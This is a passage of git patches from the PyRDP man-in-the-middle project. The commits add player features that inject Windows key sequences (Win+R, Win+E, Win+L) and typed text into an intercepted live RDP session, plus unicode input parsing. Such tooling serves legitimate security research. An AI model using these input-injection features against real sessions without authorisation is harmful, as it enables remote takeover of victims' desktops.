PySide2.QtWidgets import QShortcut, QWidget from pyrdp.player.BaseWindow import BaseWindow from pyrdp.player.ReplayTab import ReplayTab @@ -11,6 +12,7 @@ class ReplayWindow(BaseWindow): def __init__(self, parent: QWidget = None): super().__init__(parent) + self.closeTabShortcut = QShortcut(QKeySequence("Ctrl+W"), self, self.closeCurrentTab) def openFile(self, fileName: str): """ @@ -19,4 +21,8 @@ def openFile(self, fileName: str): """ tab = ReplayTab(fileName) self.addTab(tab, fileName) - self.log.debug("Loading replay file %(arg1)s", {"arg1": fileName}) \ No newline at end of file + self.log.debug("Loading replay file %(arg1)s", {"arg1": fileName}) + + def closeCurrentTab(self): + if self.count() > 0: + self.onTabClosed(self.currentIndex()) \ No newline at end of file From 4a75829f78525dd04f5b6d2bd341cb2b286511ac Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 11:28:58 -0400 Subject: [PATCH 017/113] Add menu actions for sending Windows command sequences --- pyrdp/mitm/AttackerMITM.py | 2 +- pyrdp/parser/player.py | 8 +++--- pyrdp/pdu/player.py | 5 ++-- pyrdp/player/LiveTab.py | 5 +++- pyrdp/player/LiveWindow.py | 17 +++++++++---- pyrdp/player/MainWindow.py | 20 +++++++++++++++ pyrdp/player/RDPMITMWidget.py | 46 ++++++++++++++++++++++++++++++----- pyrdp/player/Sequencer.py | 32 ++++++++++++++++++++++++ pyrdp/player/__init__.py | 1 + 9 files changed, 118 insertions(+), 18 deletions(-) create mode 100644 pyrdp/player/Sequencer.py diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index ece9acb8b..7bfd5253c 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -103,5 +103,5 @@ def handleMouseWheel(self, pdu: PlayerMouseWheelPDU): def handleKeyboard(self, pdu: PlayerKeyboardPDU): - event = FastPathScanCodeEvent(0, pdu.code, pdu.released) + event = FastPathScanCodeEvent(2 if pdu.extended else 0, pdu.code, pdu.released) self.sendInputEvents([event]) \ No newline at end of file diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 4f94db559..770a372b8 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -105,11 +105,13 @@ def writeMouseWheel(self, pdu: PlayerMouseWheelPDU, stream: BytesIO): Uint8.pack(int(pdu.horizontal), stream) - def parseKeyboard(self, stream: BytesIO, timestamp: int): + def parseKeyboard(self, stream: BytesIO, timestamp: int) -> PlayerKeyboardPDU: code = Uint16LE.unpack(stream) released = bool(Uint8.unpack(stream)) - return PlayerKeyboardPDU(timestamp, code, released) + extended = bool(Uint8.unpack(stream)) + return PlayerKeyboardPDU(timestamp, code, released, extended) def writeKeyboard(self, pdu: PlayerKeyboardPDU, stream: BytesIO): Uint16LE.pack(pdu.code, stream) - Uint8.pack(int(pdu.released), stream) \ No newline at end of file + Uint8.pack(int(pdu.released), stream) + Uint8.pack(int(pdu.extended), stream) \ No newline at end of file diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index de714e302..16d6493e2 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -63,7 +63,8 @@ class PlayerKeyboardPDU(PlayerPDU): PDU definition for keyboard events coming from the player. """ - def __init__(self, timestamp: int, code: int, released: bool): + def __init__(self, timestamp: int, code: int, released: bool, extended: bool): super().__init__(PlayerPDUType.KEYBOARD, timestamp, b"") self.code = code - self.released = released \ No newline at end of file + self.released = released + self.extended = extended \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 1d1e32f0f..2261995c2 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -5,7 +5,7 @@ # import asyncio -from PySide2.QtCore import Signal +from PySide2.QtCore import Signal, Qt from PySide2.QtWidgets import QWidget from pyrdp.player.BaseTab import BaseTab @@ -41,3 +41,6 @@ def onDisconnection(self): def onClose(self): self.layers.tcp.disconnect(True) + + def sendKeySequence(self, keys: [Qt.Key]): + self.rdpWidget.sendKeySequence(keys) \ No newline at end of file diff --git a/pyrdp/player/LiveWindow.py b/pyrdp/player/LiveWindow.py index b322e011f..283464d76 100644 --- a/pyrdp/player/LiveWindow.py +++ b/pyrdp/player/LiveWindow.py @@ -1,6 +1,7 @@ +import asyncio from queue import Queue -from PySide2.QtCore import Signal +from PySide2.QtCore import Signal, Qt from PySide2.QtWidgets import QApplication, QWidget from pyrdp.player.BaseWindow import BaseWindow @@ -14,7 +15,7 @@ class LiveWindow(BaseWindow): """ connectionReceived = Signal() - def __init__(self, address, port, parent: QWidget = None): + def __init__(self, address: str, port: int, parent: QWidget = None): super().__init__(parent) QApplication.instance().aboutToQuit.connect(self.onClose) @@ -23,7 +24,7 @@ def __init__(self, address, port, parent: QWidget = None): self.connectionReceived.connect(self.createLivePlayerTab) self.queue = Queue() - def onConnection(self): + def onConnection(self) -> asyncio.Protocol: self.connectionReceived.emit() tab = self.queue.get() return tab.getProtocol() @@ -35,10 +36,16 @@ def createLivePlayerTab(self): self.setCurrentIndex(self.count() - 1) self.queue.put(tab) - def onConnectionClosed(self, tab): + def onConnectionClosed(self, tab: LiveTab): index = self.indexOf(tab) text = self.tabText(index) self.setTabText(index, text + " - Closed") def onClose(self): - self.server.stop() \ No newline at end of file + self.server.stop() + + def sendKeySequence(self, keys: [Qt.Key]): + tab: LiveTab = self.currentWidget() + + if tab is not None: + tab.sendKeySequence(keys) \ No newline at end of file diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index cee18351b..0406d5ebc 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -4,6 +4,7 @@ # Licensed under the GPLv3 or later. # +from PySide2.QtCore import Qt from PySide2.QtWidgets import QAction, QFileDialog, QMainWindow, QTabWidget from pyrdp.player.LiveWindow import LiveWindow @@ -36,10 +37,25 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): openAction.setStatusTip("Open a replay file") openAction.triggered.connect(self.onOpenFile) + windowsRAction = QAction("Windows+R", self) + windowsRAction.setShortcut("Ctrl+Alt+R") + windowsRAction.setStatusTip("Send a Windows+R key sequence") + windowsRAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_R])) + + windowsEAction = QAction("Windows+E", self) + windowsEAction.setShortcut("Ctrl+Alt+E") + windowsEAction.setStatusTip("Send a Windows+E key sequence") + windowsEAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_E])) + menuBar = self.menuBar() + fileMenu = menuBar.addMenu("File") fileMenu.addAction(openAction) + commandMenu = menuBar.addMenu("Command") + commandMenu.addAction(windowsRAction) + commandMenu.addAction(windowsEAction) + for fileName in filesToRead: self.replayWindow.openFile(fileName) @@ -49,3 +65,7 @@ def onOpenFile(self): if fileName: self.tabManager.setCurrentWidget(self.replayWindow) self.replayWindow.openFile(fileName) + + def sendKeySequence(self, keys: [Qt.Key]): + if self.tabManager.currentWidget() is self.liveWindow: + self.liveWindow.sendKeySequence(keys) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 3f11b971d..13a5790cf 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -1,6 +1,6 @@ import logging import time -from typing import Optional, Union +from typing import Dict, List, Optional, Union from PySide2.QtCore import QEvent, QObject, Qt from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent @@ -10,6 +10,7 @@ from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU +from pyrdp.player.Sequencer import Sequencer from pyrdp.ui import QRemoteDesktop @@ -138,6 +139,9 @@ class RDPMITMWidget(QRemoteDesktop): 0x53: Qt.Key.Key_Period, } + EXTENDED_KEYS = [Qt.Key.Key_Meta, Qt.Key.Key_AltGr] + KEY_SEQUENCE_DELAY = 2000 + def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): super().__init__(width, height, parent = parent) @@ -198,14 +202,14 @@ def wheelEvent(self, event: QWheelEvent): # We need this to capture tab key events - def eventFilter(self, obj, event): + def eventFilter(self, obj: QObject, event: QEvent) -> bool: if event.type() == QEvent.KeyPress: self.keyPressEvent(event) return True return QObject.eventFilter(self, obj, event) - def findScanCode(self, event: QKeyEvent) -> Optional[int]: + def findScanCodeForEvent(self, event: QKeyEvent) -> Optional[int]: if event.modifiers() & Qt.KeypadModifier != 0: mapping = RDPMITMWidget.SCANCODE_MAPPING_NUMPAD else: @@ -213,6 +217,9 @@ def findScanCode(self, event: QKeyEvent) -> Optional[int]: key = event.key() + return self.findScanCodeForKey(key, mapping) + + def findScanCodeForKey(self, key: Qt.Key, mapping: Dict[int, Union[Qt.Key, List[Qt.Key]]]) -> Optional[int]: for k, v in mapping.items(): if isinstance(v, list) and key in v: return k @@ -228,10 +235,37 @@ def keyReleaseEvent(self, event: QKeyEvent): self.handleKeyEvent(event, True) def handleKeyEvent(self, event: QKeyEvent, released: bool): - scanCode = self.findScanCode(event) + scanCode = self.findScanCodeForEvent(event) if scanCode is not None: event.setAccepted(True) - pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released) - self.layer.sendPDU(pdu) \ No newline at end of file + pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in RDPMITMWidget.EXTENDED_KEYS) + self.layer.sendPDU(pdu) + + def sendKeySequence(self, keys: [Qt.Key]): + pressPDUs = [] + releasePDUs = [] + + for key in keys: + scanCode = self.findScanCodeForKey(key, RDPMITMWidget.SCANCODE_MAPPING) + isExtended = key in RDPMITMWidget.EXTENDED_KEYS + + pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, False, isExtended) + pressPDUs.append(pdu) + + pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, True, isExtended) + releasePDUs.append(pdu) + + def press() -> int: + for pdu in pressPDUs: + self.layer.sendPDU(pdu) + + return RDPMITMWidget.KEY_SEQUENCE_DELAY + + def release(): + for pdu in releasePDUs: + self.layer.sendPDU(pdu) + + sequencer = Sequencer([press, release]) + sequencer.run() \ No newline at end of file diff --git a/pyrdp/player/Sequencer.py b/pyrdp/player/Sequencer.py new file mode 100644 index 000000000..52b03d33d --- /dev/null +++ b/pyrdp/player/Sequencer.py @@ -0,0 +1,32 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import List, Callable, Optional + +from PySide2.QtCore import QTimer + + +class Sequencer: + """ + Class used for spreading function calls across time. + """ + + def __init__(self, functions: List[Callable[[], Optional[int]]]): + """ + :param functions: list of functions to be called, each one optionally returning an amount of time to wait for. + """ + self.functions = functions + + def run(self): + """ + Run all remaining functions. + """ + + while len(self.functions) > 0: + wait = self.functions.pop(0)() + + if wait is not None and wait > 0: + QTimer.singleShot(wait, self.run) \ No newline at end of file diff --git a/pyrdp/player/__init__.py b/pyrdp/player/__init__.py index 910c1bca3..60846b13d 100644 --- a/pyrdp/player/__init__.py +++ b/pyrdp/player/__init__.py @@ -18,3 +18,4 @@ from pyrdp.player.ReplayThread import ReplayThread, ReplayThreadEvent from pyrdp.player.ReplayWindow import ReplayWindow from pyrdp.player.SeekBar import SeekBar +from pyrdp.player.Sequencer import Sequencer \ No newline at end of file From 74b8304a28803510d5f5171e8d17027e5cfd181c Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 11:45:11 -0400 Subject: [PATCH 018/113] Lose focus when right control is pressed --- pyrdp/player/RDPMITMWidget.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 13a5790cf..3b54e40b7 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -160,7 +160,7 @@ def getMousePosition(self, event: Union[QMouseEvent, QWheelEvent]) -> (int, int) return max(event.x(), 0), max(event.y(), 0) def mouseMoveEvent(self, event: QMouseEvent): - if not self.handleEvents: + if not self.handleEvents or not self.hasFocus(): return x, y = self.getMousePosition(event) @@ -228,8 +228,14 @@ def findScanCodeForKey(self, key: Qt.Key, mapping: Dict[int, Union[Qt.Key, List[ return None + def isRightControl(self, event: QKeyEvent): + return event.key() == Qt.Key.Key_Control and event.nativeScanCode() > 50 + def keyPressEvent(self, event: QKeyEvent): - self.handleKeyEvent(event, False) + if not self.isRightControl(event): + self.handleKeyEvent(event, False) + else: + self.clearFocus() def keyReleaseEvent(self, event: QKeyEvent): self.handleKeyEvent(event, True) From 504c3c701a02cb5e035b3262d9c4ce2f697118fd Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 16:00:16 -0400 Subject: [PATCH 019/113] Handle player events on the main thread to avoid GUI bugs --- pyrdp/player/PlayerHandler.py | 9 +++++++-- pyrdp/ui/qt.py | 11 ++++++++++- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/pyrdp/player/PlayerHandler.py b/pyrdp/player/PlayerHandler.py index 348ecd687..40e0bb61c 100644 --- a/pyrdp/player/PlayerHandler.py +++ b/pyrdp/player/PlayerHandler.py @@ -7,6 +7,7 @@ from typing import Optional, Union from PySide2.QtGui import QTextCursor +from PySide2.QtWidgets import QTextEdit from pyrdp.core import decodeUTF16LE from pyrdp.core.scancode import scancodeToChar @@ -19,7 +20,7 @@ from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ FastPathScanCodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, PlayerPDU, UpdatePDU from pyrdp.pdu.rdp.fastpath import FastPathOutputEvent -from pyrdp.ui import RDPBitmapToQtImage +from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage class PlayerHandler(PlayerObserver): @@ -27,7 +28,7 @@ class PlayerHandler(PlayerObserver): Class to manage the display of the RDP player when reading events. """ - def __init__(self, viewer, text): + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): super().__init__() self.viewer = viewer self.text = text @@ -43,6 +44,10 @@ def __init__(self, viewer, text): self.buffer = b"" + def onPDUReceived(self, pdu: PlayerPDU): + parentMethod = super().onPDUReceived + self.viewer.mainThreadHook.emit(lambda: parentMethod(pdu)) + def onConnectionClose(self, pdu: PlayerPDU): self.text.moveCursor(QTextCursor.End) self.text.insertPlainText("\n") diff --git a/pyrdp/ui/qt.py b/pyrdp/ui/qt.py index 7fb3b5ea8..01c9f81c8 100644 --- a/pyrdp/ui/qt.py +++ b/pyrdp/ui/qt.py @@ -27,7 +27,7 @@ from io import BytesIO import rle -from PySide2.QtCore import QEvent, QPoint +from PySide2.QtCore import QEvent, QPoint, Signal from PySide2.QtGui import QColor, QImage, QMatrix, QPainter from PySide2.QtWidgets import QWidget @@ -124,6 +124,9 @@ class QRemoteDesktop(QWidget): """ Qt RDP display widget """ + # This signal can be used by other objects to run code on the main thread. The argument is a callable. + mainThreadHook = Signal(object) + def __init__(self, width: int, height: int, parent: QWidget = None): """ :param width: width of widget @@ -140,6 +143,12 @@ def __init__(self, width: int, height: int, parent: QWidget = None): self.mouseX = width // 2 self.mouseY = height // 2 + self.mainThreadHook.connect(self.runOnMainThread) + + + def runOnMainThread(self, target: callable): + target() + def notifyImage(self, x: int, y: int, qimage: QImage, width: int, height: int): """ From a994d185e83a415f7168899d4f413a9df5a08885 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 16:27:08 -0400 Subject: [PATCH 020/113] Change KEY_SEQUENCE_DELAY to 0 --- pyrdp/player/RDPMITMWidget.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 3b54e40b7..506c88932 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -140,7 +140,7 @@ class RDPMITMWidget(QRemoteDesktop): } EXTENDED_KEYS = [Qt.Key.Key_Meta, Qt.Key.Key_AltGr] - KEY_SEQUENCE_DELAY = 2000 + KEY_SEQUENCE_DELAY = 0 def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): From 9665454b761b5fe0ab2ed073c98df84b2f3b4c61 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 27 Mar 2019 17:07:13 -0400 Subject: [PATCH 021/113] Add Windows+L and Type text actions --- pyrdp/player/MainWindow.py | 34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index 0406d5ebc..3ac616c6f 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -5,7 +5,7 @@ # from PySide2.QtCore import Qt -from PySide2.QtWidgets import QAction, QFileDialog, QMainWindow, QTabWidget +from PySide2.QtWidgets import QAction, QFileDialog, QMainWindow, QTabWidget, QInputDialog from pyrdp.player.LiveWindow import LiveWindow from pyrdp.player.ReplayWindow import ReplayWindow @@ -42,11 +42,21 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): windowsRAction.setStatusTip("Send a Windows+R key sequence") windowsRAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_R])) + windowsLAction = QAction("Windows+L", self) + windowsLAction.setShortcut("Ctrl+Alt+L") + windowsLAction.setStatusTip("Send a Windows+L key sequence") + windowsLAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_L])) + windowsEAction = QAction("Windows+E", self) windowsEAction.setShortcut("Ctrl+Alt+E") windowsEAction.setStatusTip("Send a Windows+E key sequence") windowsEAction.triggered.connect(lambda: self.sendKeySequence([Qt.Key.Key_Meta, Qt.Key.Key_E])) + typeTextAction = QAction("Type text...", self) + typeTextAction.setShortcut("Ctrl+Alt+T") + typeTextAction.setStatusTip("Simulate typing on the keyboard") + typeTextAction.triggered.connect(self.sendText) + menuBar = self.menuBar() fileMenu = menuBar.addMenu("File") @@ -54,7 +64,9 @@ def __init__(self, bind_address: str, port: int, filesToRead: [str]): commandMenu = menuBar.addMenu("Command") commandMenu.addAction(windowsRAction) + commandMenu.addAction(windowsLAction) commandMenu.addAction(windowsEAction) + commandMenu.addAction(typeTextAction) for fileName in filesToRead: self.replayWindow.openFile(fileName) @@ -69,3 +81,23 @@ def onOpenFile(self): def sendKeySequence(self, keys: [Qt.Key]): if self.tabManager.currentWidget() is self.liveWindow: self.liveWindow.sendKeySequence(keys) + + def sendText(self): + if self.tabManager.currentWidget() is not self.liveWindow: + return + + text, success = QInputDialog.getMultiLineText(self, "Type text...", "Text to type:") + + if not success: + return + + for c in text: + if c == " ": + self.liveWindow.sendKeySequence([Qt.Key.Key_Space]) + elif c.isalnum(): + keys = [getattr(Qt.Key, f"Key_{c.upper()}")] + + if c.isupper(): + keys.insert(0, Qt.Key.Key_Shift) + + self.liveWindow.sendKeySequence(keys) \ No newline at end of file From 4250c19daeb510f267c8d1aad9cb1cd254f3cdd9 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 11:15:36 -0400 Subject: [PATCH 022/113] Add parsing for fast-path unicode events --- pyrdp/parser/rdp/fastpath.py | 80 +++++++++++++++++++++++++++--------- pyrdp/pdu/rdp/fastpath.py | 19 +++++++-- 2 files changed, 76 insertions(+), 23 deletions(-) diff --git a/pyrdp/parser/rdp/fastpath.py b/pyrdp/parser/rdp/fastpath.py index a28c7651e..3f1207edc 100644 --- a/pyrdp/parser/rdp/fastpath.py +++ b/pyrdp/parser/rdp/fastpath.py @@ -16,7 +16,7 @@ from pyrdp.parser.rdp.security import BasicSecurityParser from pyrdp.pdu import FastPathBitmapEvent, FastPathEventRaw, FastPathMouseEvent, FastPathOrdersEvent, FastPathPDU, \ FastPathScanCodeEvent, SecondaryDrawingOrder -from pyrdp.pdu.rdp.fastpath import FastPathEvent, FastPathOutputEvent +from pyrdp.pdu.rdp.fastpath import FastPathEvent, FastPathOutputEvent, FastPathUnicodeEvent from pyrdp.security import RC4Crypter, RC4CrypterProxy @@ -235,6 +235,7 @@ class FastPathInputParser(Parser): FastPathInputType.FASTPATH_INPUT_EVENT_QOE_TIMESTAMP: 5, } + def getEventLength(self, data: bytes) -> int: if isinstance(data, FastPathEventRaw): return len(data.data) @@ -246,29 +247,52 @@ def getEventLength(self, data: bytes) -> int: return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_SCANCODE] elif isinstance(data, FastPathMouseEvent): return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE] + elif isinstance(data, FastPathUnicodeEvent): + return FastPathInputParser.INPUT_EVENT_LENGTHS[FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE] + raise ValueError("Unsupported event type?") + def parse(self, data: bytes) -> FastPathEvent: stream = BytesIO(data) eventHeader = Uint8.unpack(stream.read(1)) eventCode = (eventHeader & 0b11100000) >> 5 eventFlags= eventHeader & 0b00011111 + if eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_SCANCODE: - return self.parseScanCode(eventFlags, eventHeader, stream) + return self.parseScanCodeEvent(eventFlags, eventHeader, stream) elif eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_MOUSE: - return self.parseMouseEvent(data, eventHeader) + return self.parseMouseEvent(eventHeader, stream) + elif eventCode == FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE: + return self.parseUnicodeEvent(eventHeader, stream) + return FastPathEventRaw(data) - def parseMouseEvent(self, data: bytes, eventHeader: int) -> FastPathMouseEvent: - pointerFlags = Uint16LE.unpack(data[1:3]) - mouseX = Uint16LE.unpack(data[3:5]) - mouseY = Uint16LE.unpack(data[5:7]) - return FastPathMouseEvent(eventHeader, pointerFlags, mouseX, mouseY) - def parseScanCode(self, eventFlags: int, eventHeader: int, stream: BytesIO) -> FastPathScanCodeEvent: + def parseScanCodeEvent(self, eventFlags: int, eventHeader: int, stream: BytesIO) -> FastPathScanCodeEvent: scancode = Uint8.unpack(stream.read(1)) return FastPathScanCodeEvent(eventHeader, scancode, eventFlags & 1 != 0) + + def parseMouseEvent(self, eventHeader: int, stream: BytesIO) -> FastPathMouseEvent: + pointerFlags = Uint16LE.unpack(stream) + mouseX = Uint16LE.unpack(stream) + mouseY = Uint16LE.unpack(stream) + return FastPathMouseEvent(eventHeader, pointerFlags, mouseX, mouseY) + + + def parseUnicodeEvent(self, eventHeader: int, stream: BytesIO) -> FastPathUnicodeEvent: + released = eventHeader & 1 != 0 + text = stream.read(2) + + try: + text = text.decode("utf-16le") + except UnicodeError: + pass + + return FastPathUnicodeEvent(text, released) + + def write(self, event: FastPathEvent) -> bytes: if isinstance(event, FastPathEventRaw): return event.data @@ -276,21 +300,38 @@ def write(self, event: FastPathEvent) -> bytes: return self.writeScanCodeEvent(event) elif isinstance(event, FastPathMouseEvent): return self.writeMouseEvent(event) + elif isinstance(event, FastPathUnicodeEvent): + return self.writeUnicodeEvent(event) + raise ValueError("Invalid FastPath event: {}".format(event)) + def writeScanCodeEvent(self, event: FastPathScanCodeEvent) -> bytes: - raw_data = BytesIO() - Uint8.pack(event.rawHeaderByte | int(event.isReleased), raw_data) - Uint8.pack(event.scancode, raw_data) - return raw_data.getvalue() + stream = BytesIO() + Uint8.pack(event.rawHeaderByte | int(event.isReleased), stream) + Uint8.pack(event.scancode, stream) + return stream.getvalue() + def writeMouseEvent(self, event: FastPathMouseEvent) -> bytes: - rawData = BytesIO() - Uint8.pack(event.rawHeaderByte, rawData) - Uint16LE.pack(event.pointerFlags, rawData) - Uint16LE.pack(event.mouseX, rawData) - Uint16LE.pack(event.mouseY, rawData) - return rawData.getvalue() + stream = BytesIO() + Uint8.pack(event.rawHeaderByte, stream) + Uint16LE.pack(event.pointerFlags, stream) + Uint16LE.pack(event.mouseX, stream) + Uint16LE.pack(event.mouseY, stream) + return stream.getvalue() + + + def writeUnicodeEvent(self, event: FastPathUnicodeEvent): + stream = BytesIO() + Uint8.pack(int(event.released) | (FastPathInputType.FASTPATH_INPUT_EVENT_UNICODE << 5), stream) + + if isinstance(event.text, bytes): + stream.write(event.text[: 2].ljust(2, b"\x00")) + elif isinstance(event.text, str): + stream.write(event.text[: 1].ljust(1, "\x00").encode("utf-16le")) + + return stream.getvalue() class FastPathOutputParser(Parser): @@ -339,6 +380,7 @@ def parse(self, data: bytes) -> FastPathOutputEvent: eventType = header & 0xf fragmentation = header & 0b00110000 != 0 + if fragmentation: log.debug("Fragmentation is present in output fastpath event packets." " Not parsing it and saving to FastPathOutputUpdateEvent.") diff --git a/pyrdp/pdu/rdp/fastpath.py b/pyrdp/pdu/rdp/fastpath.py index 2d7d3a25b..cef022648 100644 --- a/pyrdp/pdu/rdp/fastpath.py +++ b/pyrdp/pdu/rdp/fastpath.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from typing import List, Optional +from typing import List, Optional, Union from pyrdp.enum import SegmentationPDUType from pyrdp.pdu.pdu import PDU @@ -24,7 +24,7 @@ def __init__(self, payload: bytes = b""): class FastPathPDU(SegmentationPDU): def __init__(self, header: int, events: [FastPathEvent]): - PDU.__init__(self) + super().__init__(b"") self.header = header self.events = events @@ -59,7 +59,7 @@ def __init__(self, header: int, compressionFlags: Optional[int], payload: bytes class FastPathScanCodeEvent(FastPathInputEvent): def __init__(self, rawHeaderByte: int, scancode: int, isReleased: bool): - FastPathEvent.__init__(self) + super().__init__() self.rawHeaderByte = rawHeaderByte self.scancode = scancode self.isReleased = isReleased @@ -71,13 +71,24 @@ class FastPathMouseEvent(FastPathInputEvent): """ def __init__(self, rawHeaderByte: int, pointerFlags: int, mouseX: int, mouseY: int): - FastPathEvent.__init__(self) + super().__init__() self.rawHeaderByte = rawHeaderByte self.mouseY = mouseY self.mouseX = mouseX self.pointerFlags = pointerFlags +class FastPathUnicodeEvent(FastPathInputEvent): + """ + Unicode event (text presses and releases) + """ + + def __init__(self, text: Union[str, bytes], released: bool): + super().__init__() + self.text = text + self.released = released + + class FastPathBitmapEvent(FastPathOutputEvent): def __init__(self, header: int, compressionFlags: int, bitmapUpdateData: List[BitmapUpdateData], payload: bytes): super().__init__(header, compressionFlags, payload) From a39bcfa486235213641a88c16af0f03abe04783b Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 11:28:04 -0400 Subject: [PATCH 023/113] Add player text PDUs --- pyrdp/enum/player.py | 1 + pyrdp/parser/player.py | 29 +++++++++++++++++++++++++---- pyrdp/pdu/__init__.py | 2 +- pyrdp/pdu/player.py | 13 ++++++++++++- 4 files changed, 39 insertions(+), 6 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 7c15a72e1..c015569cf 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -17,6 +17,7 @@ class PlayerPDUType(IntEnum): MOUSE_BUTTON = 9 # Mouse button event from the player MOUSE_WHEEL = 10 # Mouse wheel event from the player KEYBOARD = 11 # Keyboard event from the player + TEXT = 12 # Text event from the player class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 770a372b8..e67f61495 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -1,10 +1,10 @@ from io import BytesIO from pyrdp.core import Int16LE, Uint16LE, Uint64LE, Uint8 -from pyrdp.enum import PlayerPDUType -from pyrdp.enum.player import MouseButton +from pyrdp.enum import MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser -from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, \ + PlayerTextPDU class PlayerParser(SegmentationParser): @@ -16,6 +16,7 @@ def __init__(self): PlayerPDUType.MOUSE_BUTTON: self.parseMouseButton, PlayerPDUType.MOUSE_WHEEL: self.parseMouseWheel, PlayerPDUType.KEYBOARD: self.parseKeyboard, + PlayerPDUType.TEXT: self.parseText, } self.writers = { @@ -23,8 +24,10 @@ def __init__(self): PlayerPDUType.MOUSE_BUTTON: self.writeMouseButton, PlayerPDUType.MOUSE_WHEEL: self.writeMouseWheel, PlayerPDUType.KEYBOARD: self.writeKeyboard, + PlayerPDUType.TEXT: self.writeText, } + def getPDULength(self, data: bytes) -> int: return Uint64LE.unpack(data[: 8]) @@ -34,6 +37,7 @@ def isCompletePDU(self, data: bytes) -> bool: return len(data) >= self.getPDULength(data) + def parse(self, data: bytes) -> PlayerPDU: stream = BytesIO(data) @@ -75,6 +79,7 @@ def writeMousePosition(self, x: int, y: int, stream: BytesIO): Uint16LE.pack(x, stream) Uint16LE.pack(y, stream) + def parseMouseMove(self, stream: BytesIO, timestamp: int) -> PlayerMouseMovePDU: x, y = self.parseMousePosition(stream) return PlayerMouseMovePDU(timestamp, x, y) @@ -82,6 +87,7 @@ def parseMouseMove(self, stream: BytesIO, timestamp: int) -> PlayerMouseMovePDU: def writeMouseMove(self, pdu: PlayerMouseMovePDU, stream: BytesIO): self.writeMousePosition(pdu.x, pdu.y, stream) + def parseMouseButton(self, stream: BytesIO, 